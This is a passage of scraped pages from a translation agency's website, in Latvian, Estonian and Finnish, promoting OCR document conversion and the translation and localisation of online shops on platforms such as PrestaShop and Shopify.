informācija būs raksta nobeigumā. Abos iepriekš minētajos gadījumos datņu skenēšana ir vienkāršs process, kas ievērojami atvieglo biroja darbu. Vienas vai otras iespējas izvēle lielā mērā ir atkarīga no uzņēmuma darba specifikas, dokumentu veidiem, kā arī klientu vēlmēm. OCR programmatūra instalēšanai datorā ir pieejama gan bezmaksas, gan arī maksas versijās – maksas versijas piedāvā daudz plašākas iespējas, ja runa ir par dokumenta rediģēšanas tehniskajām iespējām, kā arī nodrošina papildu funkcijas, kas saistītas ar grafikiem vai tekstiem svešvalodās. Lai izmantotu OCR programmatūru, skenējamajai datnei ir jāatrodas datorā. Pēc datnes atvēršanas izpildiet norādījumus, kas parasti prasīs tikai dažus klikšķus. Pēc apstrādes programmatūra ļauj lejupielādēt gatavo teksta datni. Uzņēmumi nedaudz biežāk iegādājas printerus vai skenerus ar iebūvētu OCR tehnoloģiju nekā specializētu lietojumprogrammu. Šādā gadījumā skenēšanas process ir nedaudz ātrāks, jo dokuments tikai jānoskenē ar atlasītu OCR opciju. Skenētā datne parādīsies jūsu datorā jau teksta formā. Kā var noprast, dokumentu skenēšanas OCR process abos gadījumos ir ļoti līdzīgs, un tas nav sarežģīts. Tomēr jāņem vērā dokumenta kvalitāte – OCR tehnoloģija vislabāk tiek galā ar augstas izšķirtspējas un skaidra satura skenēšanu. Vai jums nepieciešama optiskā rakstzīmju atpazīšana? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai par OCR jau tūlīt! OCR PRIEKŠROCĪBAS Papildus tam, ka OCR tehnoloģija ir viegli lietojama, tai ir arī daudzas citas priekšrocības: Palīdz taupīt laiku – iespējams, tā ir lielākā OCR tehnoloģijas priekšrocība. Vairs nav nepieciešams pārrakstīt dokumentus, lai atšifrētu atsevišķu informāciju no PDF datnes, un tas ir milzīgs cilvēkresursu un enerģijas ietaupījums; Arhivēšana – OCR ne tikai palīdz izveidot teksta datnes, bet arī ļauj tās saglabāt elektroniskā arhīvā. Tādā veidā tiek atvieglota arī dokumentu meklēšana, vienkārši atliek ievadīt meklētājā atslēgas vārdu vai frāzi, lai iegūtu rezultātu sarakstu. Uzlabota dokumentu aprite – nereti dokumentiem ir jāmēro garš ceļš, pirms tie beidzot nonāk pie īstā adresāta. OCR sistēma palīdz arī šajā gadījumā, automatizējot nosūtīšanas procesus. Turklāt dokumentus var pakļaut vairākiem procesiem vienlaicīgi, kas ievērojami paātrina pasūtījuma izpildi. OCR – OPTISKĀ RAKSTZĪMJU ATPAZĪŠANA, DOKUMENTIEM SVEŠVALODĀ OCR tehnoloģija ļoti plaši tiek izmantota tieši tulkošanas birojos un valodu uzņēmumos, jo ar tās palīdzību var skenēt dažādas kvalitātes dokumentus svešvalodā, rediģēt PDF datnes vai materiālus rokrakstā. Šo tehnoloģiju piedāvā arī Skrivanek. Gandrīz katra OCR programma ļauj izvēlēties citu valodu, kas nav latviešu valoda, un piedāvāto valodu saraksts ir patiešām iespaidīgs. Šāda programmatūra spēj nolasīt arī alfabētus, kas nav latīņu alfabēts, tāpēc visi rakstzīmju simboli tiks atpazīti kā svešvaloda. Turklāt dažas OCR programmatūras papildus svešvalodas teksta nolasīšanas funkcijai piedāvā arī iespēju automātiski tulkot veselus tekstu fragmentus – jāizvēlas tikai dokumenta avota valoda un mērķa valoda, kurā vēlaties tekstu pārtulkot. Taču, tā kā specifisku tekstu mašīntulkojumam joprojām ir jāveic pārāk daudz labojumu un bieži vien tas nebūs uzreiz piemērots izmantošanai, tāpēc ir ieteicams izvēlēties profesionālu pakalpojumu un vērsties tulkošanas birojā. KĀPĒC OCR BŪTU JĀUZTIC PROFESIONĀĻIEM KĀ ĀRPAKALPOJUMU? Ja vēlaties, lai dokumenti tiktu sagatavoti visaugstākajā kvalitātē, līdzīgi kā ar citām ikdienas lietām – santehnikas labošanu vai mūzikas instrumenta apgūšanu, ir ieteicams vērsties pie speciālista. Cilvēki, kuri mūsu uzņēmumā ikdienā strādā ar OCR tehnoloģiju, spēs efektīvāk īstenot visu dokumentu pārveidošanas procesu, kā arī operatīvāk pamanīs iespējamās kļūdas. Turklāt mūsu palīdzība noderēs, ja: dokumentam ir īpašs izkārtojums vai grafisko elementu izvietojums; materiāls ir paredzēts augstas kvalitātes drukai; nepieciešamas modernākas OCR iespējas (vai cita programmatūra), kas palīdz nokopēt dokumenta oriģinālo versiju. TIEŠSAISTES OCR RĪKU TRŪKUMI Ļoti daudzas OCR tehnoloģijas dokumentu skenēšanai ir brīvi pieejamas internetā. Sākotnēji tas var šķist diezgan vilinoši, taču šāds risinājums ir saistīts ar vairākiem sarežģījumiem un pat riskiem. Pirmais izaicinājums ir laiks, kas nepieciešams, lai atrastu un novērtētu jums piemērotu vietni – ne visas vietnes piedāvā uzreiz pilnībā izmantojamu bezmaksas pakalpojumu. Arī rīku izvēle bieži vien ir ierobežota vietnes specifikas dēļ. Izmantojot tiešsaistes OCR rīkus, jūs nevarēsit strādāt ar lielām datnēm – tāpēc visu veidu sarežģītas grafikas, apjomīgākus tekstus vai sarežģītākas veidlapas nebūs iespējams nolasīt. Pat ja atrastais rīks piedāvās nolasīt dokumentu atbilstoši jūsu vēlmēm, var nebūt iespējas lejupielādēt gatavo datni – līdz ar to jums joprojām nāksies kopēt informāciju manuāli. Tomēr visnopietnākais risks, kas jāpatur prātā, izmantojot tiešsaistes OCR rīkus, ir personas un citu svarīgu datu aizsardzība. Mēs tikai retos gadījumos varam pārbaudīt konkrētās vietnes drošību, un nevaram būt droši, ka paaugstināta drošības riska dati netiks saglabāti pēc OCR procesa beigām, jo viss, kas reiz publicēts tiešsaistē, saglabājas tur uz visiem laikiem. Sadarbība ar tulkošanas biroju Skrivanek aiztaupa visas šīs liekās problēmas un garantē, ka dokumenti tiks pareizi nolasīti un pēc tam pārtulkoti vēlamajā valodā. Vēlaties uzzināt vairāk, būsim priecīgi atbildēt uz jūsu jautājumiem! --- > OCR on optilise märgituvastuse tehnoloogia, mida kasutatakse üha enam paljudes majandusharudes – alates haldusest kuni tõlkimiseni. - Published: 2023-02-14 - Modified: 2024-08-13 - URL: https://skrivanek.lv/ocr-optiska-rakstzimju-atpazisana/ - Translation Priorities: Optional OCR – MIDA SEE TÄHENDAB? OCR on optilise märgituvastuse tehnoloogia, mida kasutatakse üha enam paljudes majandusharudes – alates haldusest kuni tõlkimiseni. Paljud dokumendid, millega töötame, jõuavad meieni skannitud dokumentide või PDF-failide kujul, mida on keeruline redigeerida või kopeerida. Sellest tulenevalt kulutavad töötajad palju aega ja vaeva teksti käsitsi ümberkirjutamiseks. Sellises olukorras tuleb kasuks OCR-töövahend. See on tarkvara või sisseehitatud funktsioon, mis lihtsustatult öeldes tuvastab mitteredigeeritavates failides olevad sümbolid, muutes need tekstiks, mida saab hõlpsasti kopeerida ja muuta. OCR-tarkvara suudab tuvastada ka graafilises materjalis oleva teksti ja teisendada tabeleid, templeid, valemeid või terveid PDF-faile. Selle tulemusena muudetakse arvuti poolt pildina loetav suletud PDF-fail avatud redigeeritavaks tekstifailiks, millest saab näiteks teksti kopeerida. KUIDAS SKANNIDA FAILE OPTILISE MÄRGITUVASTUSE ABIL? Kuidas me kasutame OCR-funktsiooni? Selle tehnoloogia pakutavate laiaulatuslike valikute kasutamiseks on kaks võimalust: OCR-rakenduse/tarkvara paigaldamine; kasutades seadet, millel on juba sisseehitatud OCR-funktsioon. Internetis võib kohata ka tasuta pildifailide konvertereid, milles kasutatakse OCR-tehnoloogiat, kuid seda lahendust soovitavad spetsialistid harva – sellest räägime peagi lähemalt. Mõlemal eespool nimetatud juhul on failide skannimine lihtne protsess, mis hõlbustab oluliselt kontoritööd. Valiku tegemine sõltub suuresti ettevõtte olemusest, dokumentide tüübist ja klientide ootustest. Arvutisse paigaldatav OCR-tarkvara on saadaval tasuta ja tasulises versioonis – viimane pakub rohkem võimalusi dokumendi redigeerimisel ning hõlmab ka graafika või võõrkeelse tekstiga seotud lisavõimalusi. OCR-tarkvara kasutamiseks peab skannitav fail asuma arvutis ja mõnel juhul ka tarkvara kaustas, et tarkvara saaks seda lugeda. Pärast faili avamist järgige juhiseid, mis nõuavad vaid paari klõpsu. Pärast töötlemist võimaldab tarkvara valmis tekstifaili alla laadida. Ettevõtted ostavad pigem sisseehitatud OCR-tehnoloogiaga printereid või skannereid kui spetsiaalseid rakendusi. Sellisel juhul on skannimisprotsess veidi kiirem, sest teil on vaja vaid skannida dokumenti, mille puhul on valitud OCR-variant. Skannitud fail kuvatakse teie arvutis konverteeritud teksti kujul. Nagu näete, on dokumentide OCR-i skannimise protsess mõlemal juhul väga sarnane ja mis kõige tähtsam – probleemideta. Arvestada tuleb aga dokumendi kvaliteediga – kõrge eraldusvõime ja selgusega sisu skannimisega tuleb kõige paremini toime just OCR-tehnoloogia. KÜSIGE HINNAPAKKUMIST / SAATKE OMA KÜSIMUS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada EELISED, MIS SAADAKSE DOKUMENTIDE TÖÖTLEMISEL OCR-iga Lisaks sellele, et OCR-i on lihtne kasutada, on sellel palju teisi eeliseid, mida saate ühe klõpsuga oma töösse lisada. OCR-mehhanism tähendab järgmist: aja kokkuhoid – OCR-tehnoloogia ilmselt suurim eelis. See välistab vajaduse dokumente käsitsi ümber kirjutada, samuti ei ole vaja PDF-failist üksiku teabe dešifreerimiseks kulutada märkimisväärset kogust energiat; arhiveerimine – OCR ei aita teil mitte ainult luua tekstifaile, vaid võimaldab neid ka elektroonilises arhiivis säilitada. Samuti hõlbustab see dokumentide leidmist, sisestades tulemuste loendi saamiseks lihtsalt võtmesõna või -lause; dokumentide täiustatud töövoog – dokumendid peavad väga sageli läbima pika tee, enne kui need lõpuks kliendini jõuavad. OCR-süsteem pakub ka sel juhul abi, automatiseerides mõningaid protsesse. Lisaks saab dokumente korraga töödelda mitme protsessi abil, mis kiirendab oluliselt tellimuse täitmist. OCR-i EHK OPTILISE MÄRGITUVASTUSE KASUTAMINE VÕÕRKEELSETE DOKUMENTIDE KORRAL OCR-tehnoloogiat kasutatakse tõlkebüroodes väga sageli, kuna see on võimeline skannima võõrkeelseid dokumente ja redigeerima PDF-faile või käekirja. Skrivanek pakub ka seda tehnoloogiat. Peaaegu iga OCR-programm võimaldab teil valida keele (v. a poola keel). Pakutavate keelte loend on tõeliselt muljetavaldav. Selline tarkvara suudab lugeda ka muud kui ladina tähestikku, nii et kõik sümbolid tuvastatakse võõrkeelsena. Mõni OCR-tarkvara pakub võõrteksti lugemise funktsioonile lisaks ka tervete tekstide automaattõlke võimalust – tuleb vaid valida dokumendi lähte- ja sihtkeel, millesse soovite teksti konverteerida. Kuna aga masintõlge nõuab palju parandusi ja ei sobi sageli kasutamiseks, siis on parem otsustada siiski professionaalse tõlkebüroo kasuks. MIKS PEAKSITE OCR-TEENUSE TELLIMA SPETSIALISTILT? Kui soovite, et teie tellimus oleks kõrgeima kvaliteediga, on hea pöörduda spetsialisti poole. Meie ettevõttes saavad igapäevaselt OCR-tehnoloogiaga töötavad inimesed kogu dokumentide konverteerimisprotsessi tõhusamalt korraldada ja suudavad ka vigu tulemuslikumalt märgata. Lisaks on meie abi kasulik, kui dokumendil on konkreetne kujundus või graafiliste elementide paigutus; vajalik on kvaliteetne väljatrükk; dokumendi algversiooni peegeldamiseks on vaja täiustatud OCR-võimalusi (või muud tarkvara). VEEBIPÕHISTE OCR-TÖÖVAHENDITE PUUDUSED Eespool nimetatud OCR-tehnoloogiale pühendatud veebisaidid ja tarkvara meelitavad oma kättesaadavusega ning dokumentide skannimise teenuse lihtsa ja tasuta kasutamisega. Esmapilgul võib see võimalus tunduda üsna ahvatlev, kuid selline lahendus toob kaasa mitmeid komplikatsioone ja isegi ohte. Esimene probleem on sobiva saidi leidmiseks kuluv aeg – mitte kõik neist ei paku täiesti tasuta teenust. Ka töövahendite valik on sageli piiratud, mis tuleneb saidi olemusest. Veebipõhine OCR ei võimalda töötada suurte failidega – seega ei loeta igasugust keerulist graafikat, suuremat teksti ega keerukamaid vorme. Kui veebisaidil pakutakse dokumendi lugemist vastavalt kliendi ootustele, ei pruugi olla võimalik lõplikku faili alla laadida – mistõttu peame teabe siiski käsitsi üle kandma. Kõige tõsisem küsimus, mida tuleb veebipõhise OCR-i kasutamisel silmas pidada, on aga isikuandmete kaitse. Saame harva kontrollida teatava saidi turvalisust ja isegi kui on võimalik olla kindel, et tundlikke andmeid pärast protsessi lõppu ei salvestata, jääb kõik veebis postitatu sinna igaveseks. Kui otsustate teha koostööd Skrivaneki tõlkebürooga, aitame lahendada kõik need probleemid ja tagame, et dokumente loetakse õigesti ja tõlgitakse seejärel ettenähtud keelde. Lisateabe saamiseks võtke meiega julgelt ühendust! --- > OCR on optinen merkintunnistustekniikka, jota käytetään yhä enemmän ja enemmän monilla talouden aloilla – laajasti ymmärretystä hallinnosta kääntämiseen. - Published: 2023-02-14 - Modified: 2024-08-22 - URL: https://skrivanek.lv/ocr-optiska-rakstzimju-atpazisana/ OCR - MITÄ SE TARKOITTAA? OCR on optinen merkintunnistustekniikka, jota käytetään yhä enemmän ja enemmän monilla talouden aloilla – laajasti ymmärretystä hallinnosta kääntämiseen. Monet käsittelemistämme asiakirjoista ovat skannattuja asiakirjoja tai PDF-tiedostoja, hankalasti muokattavia tai kopioitavia muotoja. Tästä syystä työntekijät käyttävät runsaasti aikaa ja vaivaa tekstien manuaaliseen transkriptioon. Tällaisessa tilanteessa OCR-työkalu on hyödyllinen. Tämä on ohjelmisto tai sisäänrakennettu toiminto, joka yksinkertaistettuna tunnistaa merkit muokkaamattomasta tiedostosta ja muuttaa ne tekstiksi, jota voidaan helposti muokata ja kopioida. OCR-ohjelmisto voi myös tunnistaa grafiikan tekstiä ja muuntaa taulukoita, leimoja, kaavoja tai kokonaisia PDF-tiedostoja. Tämän ansiosta tietokoneella kuvana luettu suljettu PDF-tiedosto muunnetaan avoimeksi, muokattavaksi tekstitiedostoksi, jonka tekstiä voidaan esimerkiksi kopioida. MITEN SKANNATA OCR:IIN? Miten voimme käyttää OCR-toimintoa? On kaksi tapaa nauttia tämän tekniikan tarjoamista laajoista vaihtoehdoista: OCR-sovelluksen/ohjelmiston asentaminen Laitteen käyttäminen, jossa on jo sisäänrakennettu OCR-toiminto Internetissä voi törmätä myös ilmaisiin kuvatiedostomuuntimiin, jotka käyttävät OCR-tekniikkaa, mutta asiantuntijat harvoin suosittelevat tätä - kerromme tästä pian lyhyesti lisää. Molemmissa edellä mainituissa tapauksissa tiedostojen skannaus on mutkaton prosessi, joka helpottaa toimistotyötä suuresti. Vaihtoehdon valinta riippuu pitkälti yrityksen luonteesta, asiakirjojen tyypistä sekä yksittäisten asiakkaiden odotuksista. Tietokoneelle asennettavia OCR-ohjelmistoja on saatavilla sekä ilmaisia että maksullisia versioita. Jälkimmäisissä on enemmän mahdollisuuksia asiakirjojen muokkaukseen sekä grafiikkaan tai vieraskielisiin teksteihin liittyviä lisäominaisuuksia. OCR-ohjelmiston käyttäminen edellyttää, että skannattava tiedosto sijaitsee tietokoneella, joissain tapauksissa ohjelmiston kansiossa, jotta ohjelmisto voi lukea sen. Kun olet avannut tiedoston, seuraa ohjeita. Tämä vaatii yleensä vain muutaman klikkauksen. Käsittelyn jälkeen ohjelmisto antaa sinun ladata valmiin tekstitiedoston. Yritykset ostavat hieman todennäköisemmin tulostimia tai skannereita, joissa on sisäänrakennettu OCR-tekniikka kuin erillisiä sovelluksia. Tässä tapauksessa skannausprosessi on hieman nopeampi, koska asiakirja täytyy vain skannata siten, että OCR-vaihtoehto on valittu. Skannattu tiedosto ilmestyy tietokoneellesi muunnetussa tekstimuodossa. Kuten näet, asiakirjojen skannaus OCR:ään on molemmissa tapauksissa hyvin samanlaista ja mikä tärkeintä, vaivatonta. On kuitenkin otettava huomioon asiakirjojen laatu - OCR-tekniikka selviytyy parhaiten skannatessaan sisältöä, joka on selkeää ja korkearesoluutioista. PYYDÄ HINTATARJOUS / LÄHETÄ KYSYMYS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada EDUT ASIAKIRJOJEN LÄHETTÄMISESTÄ OCR:ÄÄN Helppokäyttöisyyden lisäksi OCR:llä on monia muita etuja, jotka voit sisällyttää työhösi yhdellä klikkauksella. OCR-mekanismi tarkoittaa: Ajansäästö - luultavasti OCR-tekniikan suurin etu. Se eliminoi tarpeen puhtaaksikirjoittaa asiakirjoja manuaalisesti sekä käyttää huomattavia määriä energiaa yksittäisten tietojen tulkitsemiseen PDF-tiedostoista. Arkistointi - OCR ei ainoastaan auta sinua luomaan tekstitiedostoja, vaan mahdollistaa myös niiden tallentamisen sähköiseen arkistoon. Se helpottaa myös asiakirjojen löytämistä, kun kirjoittamalla yksinkertaisesti avainsanoja tai lauseita, saat listan tuloksista. Parannettu asiakirjojen työnkulku - asiakirjojen on usein matkustettava pitkiä matkoja ennen kuin ne saavuttavat lopulta asiakkaan. OCR-järjestelmä auttaa myös tässä tapauksessa automatisoimalla joitain prosesseja. Lisäksi asiakirjoille voidaan tehdä useita prosesseja samanaikaisesti, mikä nopeuttaa huomattavasti tilauksen toteuttamista. OCR (OPTINEN MERKINTUNNISTUS) VIERASKIELISILLE ASIAKIRJOILLE OCR-tekniikkaa käytetään hyvin usein käännöstoimistoissa, koska sillä voidaan skannata vieraskielisiä asiakirjoja ja muokata PDF-tiedostoja tai käsinkirjoitusta. Myös Skrivanek tarjoaa tätä tekniikkaa. Lähes jokaisella OCR-ohjelmalla voit valita muun kielen kuin puolan ja tarjolla olevien kielten luettelo on todella vaikuttava. Tällaiset ohjelmistot voivat lukea myös muita kuin latinalaisia aakkosia, joten kaikki symbolit tunnistetaan vieraaksi kieleksi. Lisäksi jotkin OCR-ohjelmistot tarjoavat vieraan tekstin lukemisen lisäksi myös mahdollisuutta kääntää koko tekstin automaattisesti - sinun tarvitsee vain valita asiakirjan lähdekieli sekä kohdekieli, jolle haluat tekstin muuntaa. Koska konekäännös vaatii kuitenkin useita korjauksia eikä useinkaan ole käyttökelpoinen, on parempi käyttää ammattimaista käännöstoimistoa. MIKSI KANNATTAA ULKOISTAA OCR ASIANTUNTIJOILLE? Jos haluat tilauksesi olevan parasta laatua, on hyvä ottaa yhteyttä asiantuntijaan. Yrityksessämme päivittäin OCR-tekniikan parissa työskentelevät ihmiset voivat suorittaa koko asiakirjanmuunnosprosessin tehokkaammin ja he myös havaitsevat mahdolliset virheet tehokkaammin. Lisäksi avustamme on hyötyä, kun: asiakirjassa on erityinen asettelu tai graafisten elementtien järjestely, vaaditaan korkealaatuista tulostusta, tarvitaan edistyneempiä OCR-asetuksia (tai muita ohjelmistoja) asiakirjan alkuperäisen version peilaamiseen. ONLINE-OCR-TYÖKALUJEN HAITAT Edellä mainitut OCR-tekniikalle omistetut verkkosivut ja ohjelmistot houkuttelevat saatavuudellaan sekä helpolla ja maksuttomalla asiakirjojen skannauspalvelulla. Ensi silmäyksellä tämä vaihtoehto saattaa vaikuttaa melko houkuttelevalta, mutta tällainen ratkaisu sisältää useita monimutkaisuuksia, jopa vaaroja. Ensimmäinen ongelma on sopivan sivuston löytämiseen tarvittava aika - kaikki eivät tarjoa täysin ilmaista palvelua. Työkalujen valikoima on usein myös melko rajallinen johtuen sivuston luonteesta. Online-OCR:lläemme pysty käsittelemään suuria tiedostoja - joten mitään monimutkaista grafiikkaa, suurempia tekstejä tai monimutkaisempia muotoja ei lueta. Jos verkkosivusto tarjoutuu lukemaan asiakirjan asiakkaan odotusten mukaisesti, lopullisen tiedoston lataaminen ei välttämättä ole mahdollista - tästä syystä joudumme silti siirtämään tiedot manuaalisesti. Vakavin mielessä pidettävä asia online-OCR:ää käytettäessä on kuitenkin henkilötietojen suojaaminen. Pystymme harvoin varmistamaan tietyn sivuston turvallisuuden, ja vaikka olisimme varmoja, että arkaluontoisia tietoja ei tallenneta prosessin päätyttyä, kaikki verkossa julkaistu pysyy siellä ikuisesti. Yhteistyö Skrivanek-käännöstoimiston kanssa poistaa kaikki nämä ongelmat ja takaa, että asiakirjat luetaan oikein ja käännetään sitten valitulle kielelle. Ota rohkeasti yhteyttä saadaksesi lisätietoja! --- > Vēlaties savus produktus un pakalpojumus tirgot ārvalstu klientiem? Nodrošinām interneta veikala tulkošanu un lokalizēšanu 110+ valodās. - Published: 2023-02-13 - Modified: 2025-07-07 - URL: https://skrivanek.lv/e-komercija-interneta-veikalu-tulkosana-un-lokalizesana/ - Translation Priorities: Optional APSTEIDZIET SAVUS KONKURENTUS E-KOMERCIJAS JOMĀ! Interneta veikalu tulkošana un lokalizēšana ir process, kas aptver lingvistiskos, tehniskos un kultūras aspektus. Valodu speciālistiem, kuri sniedz šādus pakalpojumus, ir ne tikai klasiski jāpārtulko tīmekļa vietnes vai platformas saturs, bet arī jāpievērš uzmanība tam, vai tulkojums atbilst mērķa auditorijas interesēm un informācijas meklēšanas paradumiem internetā, kā arī attiecīgajā valstī spēkā esošajiem normatīvajiem aktiem. Tapāt svarīgs interneta veikala tulkošanas elements ir transkreācija un teksta adaptācija, t. i. , produktu saukļu, reklāmu un mārketinga satura pielāgošana mērķa valodā – tā, lai sniegtu līdzīgu emocionālo nozīmi jaunajai mērķauditorijai. E-komercijas veikala pielāgošana un adaptācija ir saistīta arī ar SEO tulkošanu, kas ietver atbilstošu atslēgvārdu atlasi, izpēti un iekļaušanu jūsu produktu aprakstos un citos tīmekļa vietnes tekstos, kā arī apakšlapu virsrakstos, meta, attēlu un infografiku aprakstos un citos elementos, kas palīdzēs jūsu mājaslapai labāk ierindoties starp meklētājprogrammas lietotājiem attiecīgajā reģionā un vienlaikus piesaistot lielāku auditorijas uzmanību. INTERNETA VEIKALU TULKOŠANAS KULTURĀLĀS ATŠĶIRĪBAS Interneta veikalu vai e-komercijas platformu tulkošana un lokalizēšana ir jāsāk ar sava mērķa klienta un viņa paradumu definēšanu, lai valodu speciālisti tulkojamo interneta veikala saturu varētu veiksmīgi pielāgot apmeklētāju interesēm. Daži produkta aspekti būs svarīgi Francijas tirdzniecības pārstāvjiem, bet pavisam citi privātpersonām Lielbritānijā. Tāpat ir jāparūpējas par pareizu jau esošā satura atlasi, jo daudzi savas valsts klientiem domāti teksti, piemēram, ziņu sadaļā publicētie ziņu raksti, adreses, kontaktu dati vai juridiska rakstura atsauces būs pilnīgi liekas jūsu vietnes svešvalodu versijā. Tas pats attiecas arī uz produktiem un pakalpojumu aprakstiem un pārējiem tekstiem. Piemēram, humora elementi tekstā var būt piemēroti vietnei, kas paredzēta klientiem Lielbritānijā, savukārt klienti Vācijā sagaida konkrētu informāciju. Ne mazāk svarīga ir arī jūsu vietnes vizuālā izskata pielāgošana mērķa auditorijai – sākot ar tās dizainu un beidzot ar vismazākajiem simboliem, lai pārliecinātos, ka klienti attiecīgajā valstī tos nepārprot. Jums ir nepieciešams interneta veikala tulkojums? Rakstiet mums – mēs palīdzēsim Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Ziņa Pievienot Noņemt E-pasts *Ziņa Pievienot Noņemt Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai par interneta veikalu tulkošanu un lokalizāciju jau tūlīt! KĀ TULKOT UN LOKALIZĒT INTERNETA VEIKALU, KAS TIEK UZTURĒTS PRESTASHOP? PrestaShop ir atvērtā koda e-komercijas risinājums, ko ikviens var lejupielādēt bez maksas. Izmantojot PrestaShop, jūs varat izveidot visaptverošu interneta veikalu un uzrunāt neierobežotu klientu loku no visas pasaules. Tas nozīmē, ka jūs varat stāstīt par saviem produktiem un pakalpojumiem visās savu klientu valodās. Eksperti pat iesaka veidot un uzturēt PrestaShop interneta veikalu vairākās valodās. Galvenais, lai saturs ir viegli lasāms, saprotams un piemērots jūsu mērķa tirgiem un auditorijai. Pateicoties jaunākajam satura lokalizēšanas atjauninājumam PrestaShop 1. 5 versijā, jūsu PrestaShop izveidotā satura lokalizēšana un tulkošana vēl nekad nav bijusi tik vienkārša. KĀ TULKOT UN LOKALIZĒT INTERNETA VEIKALU, KAS TIEK UZTURĒTS MAGENTO? Neatkarīgi no tā, vai jūs jau lietojat kādu no e-komercijas platformām sava interneta veikala uzturēšanai, vai tikai plānojat uzsākt e-komercijas biznesu un drīzumā kļūt par Magento lietotāju, pastāv iespēja, ka agrāk vai vēlāk jums būs nepieciešams tulkot un lokalizēt savu interneta veikalu. Neskatoties uz to, vai jums ir mazs vai liels uzņēmums – mēs noteikti atbalstīsim jūsu uzņēmuma turpmāku attīstību un palīdzēsim iegūt jaunus ārvalstu klientus, jo mēs runājam visu jūsu klientu valodās. KĀ TULKOT UN LOKALIZĒT INTERNETA VEIKALU, KAS TIEK UZTURĒTS IDOSELL? Ja vēlaties paplašināt savu biznesu ārvalstu tirgos, daudzvalodu interneta veikala izveidošanai ir jābūt jūsu prioritātei Nr. 1. KĀ TULKOT UN LOKALIZĒT INFORMĀCIJU PAR INTERNETA VEIKALU, KAS TIEK UZTURĒTS SHOPIFY? Ja jums ir Shopify interneta veikals, iespējams, vēlaties uzsākt starptautisku darbību. Galu galā atdevi gūstat no produkta pārdošanas. Varbūt jūsu darbība sākās ar preču nosūtīšanu uz jaunu galamērķi, un tagad uzskatāt, ka būtu jāpāriet uz šo citu jauno tirgu. GRAFISKO ELEMENTU LOKALIZĒŠANA Grafisko elementu pielāgošana mērķa tirgus vajadzībām ir vēl viens ar interneta veikalu tulkošanu un lokalizēšanu saistīts izaicinājums. Jo jāpārtulko un jālokalizē ir arī teksti, kas ir redzami uz interneta veikalu reklāmkarogiem, pogām un attēliem. Lai to paveiktu profesionālā līmenī, ir nepieciešama tulkotāju un grafisko dizaineru cieša sadarbība. INTERNETA VEIKALU TULKOŠANA – LINGVISTISKAIS ASPEKTS Tulkojot interneta veikalu saturu, mēs ņemam vērā pareizu mērījumu, svara, izmēru vai valūtas vienību atveidošanu attiecīgajā mērķa tirgū vai valstī. Mēs apzināmies, ka neatbilstošs mērvienības lietojums, nepareizi ielikti komati vai punkti var maldināt klientus. Veidojot kontaktu ar potenciālo klientu, ir svarīgi izmantot frāzes, kas piemērotas konkrētai klientu grupai. Vienas un tās pašas frāzes var uztvert pozitīvi vienā kultūrā, bet citā tās var uzskatīt pat par aizskarošām. Lai panāktu teksta labskanību un plūdumu un piesaistītu potenciālo klientu uzmanību, visiem tulkojumiem tiek veikta korektūra, ko veic cilvēks, kuram mērķa valoda ir dzimtā. Korektors rūpīgi pārbauda tulkojuma saturisko un stilistisko pareizību. 